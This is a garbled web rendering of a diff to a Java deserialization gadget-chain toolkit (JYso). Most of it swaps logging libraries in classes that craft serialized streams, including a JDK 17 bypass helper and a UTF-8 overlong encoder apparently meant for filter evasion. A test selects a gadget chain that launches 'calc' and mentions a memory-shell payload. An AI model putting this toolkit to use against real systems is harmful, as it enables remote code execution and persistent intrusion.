import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import sun.misc.Unsafe;
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -10,7 +10,7 @@ import java.util.ArrayList;
|
|||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
public class jdk17Bypass {
|
public class jdk17Bypass {
|
||||||
private static final Logger log = LoggerFactory.getLogger(jdk17Bypass.class);
|
private static final Logger log = LogManager.getLogger(jdk17Bypass.class);
|
||||||
|
|
||||||
private static Method getMethod(Class<?> clazz, String methodName, Class<?>[] params) {
|
private static Method getMethod(Class<?> clazz, String methodName, Class<?>[] params) {
|
||||||
Method method = null;
|
Method method = null;
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.jre;
|
package com.qi4l.JYso.gadgets.utils.jre;
|
||||||
|
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
public class HandleContainer {
|
public class HandleContainer {
|
||||||
private static final Logger log = LoggerFactory.getLogger(HandleContainer.class);
|
private static final Logger log = LogManager.getLogger(HandleContainer.class);
|
||||||
private static Method lookup;
|
private static Method lookup;
|
||||||
private static Method assign;
|
private static Method assign;
|
||||||
|
|
||||||
|
|||||||
@@ -2,8 +2,8 @@ package com.qi4l.JYso.gadgets.utils.jre;
|
|||||||
|
|
||||||
|
|
||||||
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
|
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -13,7 +13,7 @@ import java.util.ArrayList;
|
|||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
public class Serialization {
|
public class Serialization {
|
||||||
private static final Logger log = LoggerFactory.getLogger(Serialization.class);
|
private static final Logger log = LogManager.getLogger(Serialization.class);
|
||||||
private final List<Data> objects = new ArrayList<>();
|
private final List<Data> objects = new ArrayList<>();
|
||||||
|
|
||||||
private Object handle;
|
private Object handle;
|
||||||
|
|||||||
@@ -1,14 +1,14 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.jre;
|
package com.qi4l.JYso.gadgets.utils.jre;
|
||||||
|
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
public class TCObject extends ReferencableObject implements SerializedElement {
|
public class TCObject extends ReferencableObject implements SerializedElement {
|
||||||
private static final Logger log = LoggerFactory.getLogger(TCObject.class);
|
private static final Logger log = LogManager.getLogger(TCObject.class);
|
||||||
private final Serialization ser;
|
private final Serialization ser;
|
||||||
|
|
||||||
private final List<ClassDescData> descData;
|
private final List<ClassDescData> descData;
|
||||||
|
|||||||
+3
-3
@@ -1,8 +1,8 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding;
|
package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.slf4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.slf4j.LoggerFactory;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -10,7 +10,7 @@ import java.lang.reflect.Method;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
|
public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
|
||||||
private static final Logger log = LoggerFactory.getLogger(UTF8OverlongObjectOutputStream.class);
|
private static final Logger log = LogManager.getLogger(UTF8OverlongObjectOutputStream.class);
|
||||||
public static HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
|
public static HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
|
||||||
put('.', new int[]{0xc0, 0xae});
|
put('.', new int[]{0xc0, 0xae});
|
||||||
put(';', new int[]{0xc0, 0xbb});
|
put(';', new int[]{0xc0, 0xbb});
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import java.util.Base64;
|
|||||||
|
|
||||||
public class Test {
|
public class Test {
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson3");
|
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("cck3");
|
||||||
ObjectPayload payload = payloadClass.newInstance();
|
ObjectPayload payload = payloadClass.newInstance();
|
||||||
Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz
|
Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user